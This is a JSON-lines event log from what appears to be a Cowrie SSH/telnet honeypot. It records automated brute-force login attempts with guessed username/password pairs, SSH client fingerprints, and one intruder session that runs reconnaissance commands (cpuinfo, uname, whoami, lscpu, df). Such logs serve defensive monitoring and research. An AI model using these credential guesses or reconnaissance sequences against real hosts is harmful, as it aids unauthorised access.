{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:36.061752Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:36.394099Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:36.397792Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:36.954784Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:37.282732Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:37.286092Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:37.841520Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:38.192244Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:38.195760Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:38.751516Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:39.090007Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:39.093263Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:39.652440Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:39.972037Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:39.974422Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":8,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:40.531372Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:40.869043Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:40.872428Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:41.431414Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:41.761993Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:41.765412Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:41.769481Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:42.054713Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.2","message":"Connection lost after 23.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:42.060035Z","src_ip":"103.148.100.146","session":"3b061051fb87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":34418,"dst_ip":"159.203.135.109","dst_port":22,"session":"143f821690e6","protocol":"ssh","message":"New connection: 210.90.155.178:34418 (159.203.135.109:22) [session: 143f821690e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:49.000278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:49.005254Z","src_ip":"210.90.155.178","session":"143f821690e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:49.207324Z","src_ip":"210.90.155.178","session":"143f821690e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pop","password":"pop","message":"login attempt [pop/pop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:50.037513Z","src_ip":"210.90.155.178","session":"143f821690e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:51.239688Z","src_ip":"210.90.155.178","session":"143f821690e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46618,"dst_ip":"159.203.135.109","dst_port":22,"session":"58569d4ec46d","protocol":"ssh","message":"New connection: 103.149.170.125:46618 (159.203.135.109:22) [session: 58569d4ec46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:56.780856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:56.788993Z","src_ip":"103.149.170.125","session":"58569d4ec46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:57.057349Z","src_ip":"103.149.170.125","session":"58569d4ec46d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhbcnbyf123","message":"login attempt [root/rhbcnbyf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:57.882554Z","src_ip":"103.149.170.125","session":"58569d4ec46d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":55814,"dst_ip":"10.17.0.5","dst_port":22,"session":"453c902fbb3a","protocol":"ssh","message":"New connection: 45.114.124.44:55814 (10.17.0.5:22) [session: 453c902fbb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:58.049277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:58.054836Z","src_ip":"45.114.124.44","session":"453c902fbb3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:58.270166Z","src_ip":"45.114.124.44","session":"453c902fbb3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"123","message":"login attempt [travis/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:59.137658Z","src_ip":"45.114.124.44","session":"453c902fbb3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:08:59.153610Z","src_ip":"103.149.170.125","session":"58569d4ec46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:00.362558Z","src_ip":"45.114.124.44","session":"453c902fbb3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":8963,"dst_ip":"159.203.135.109","dst_port":23,"session":"3555186ff272","protocol":"telnet","message":"New connection: 191.0.122.57:8963 (159.203.135.109:23) [session: 3555186ff272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:15.315178Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":60850,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2a0ff0f42f6","protocol":"ssh","message":"New connection: 89.108.118.91:60850 (159.203.135.109:22) [session: b2a0ff0f42f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:17.652342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:17.657598Z","src_ip":"89.108.118.91","session":"b2a0ff0f42f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:17.785466Z","src_ip":"89.108.118.91","session":"b2a0ff0f42f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.0.122.57","src_port":8986,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd851ec105a4","protocol":"telnet","message":"New connection: 191.0.122.57:8986 (159.203.135.109:23) [session: dd851ec105a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:17.945642Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"diman123","message":"login attempt [root/diman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:18.170844Z","src_ip":"89.108.118.91","session":"b2a0ff0f42f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:19.301788Z","src_ip":"89.108.118.91","session":"b2a0ff0f42f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":3569,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c7242f2daf","protocol":"ssh","message":"New connection: 220.247.224.226:3569 (10.17.0.5:22) [session: 06c7242f2daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:28.077323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:28.083817Z","src_ip":"220.247.224.226","session":"06c7242f2daf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:28.320392Z","src_ip":"220.247.224.226","session":"06c7242f2daf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"me","password":"me","message":"login attempt [me/me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:29.287256Z","src_ip":"220.247.224.226","session":"06c7242f2daf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:30.528590Z","src_ip":"220.247.224.226","session":"06c7242f2daf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":55720,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b60cc3d21a6","protocol":"ssh","message":"New connection: 5.182.83.231:55720 (10.17.0.5:22) [session: 9b60cc3d21a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:34.186678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:34.191926Z","src_ip":"5.182.83.231","session":"9b60cc3d21a6","protocol":"ssh"}
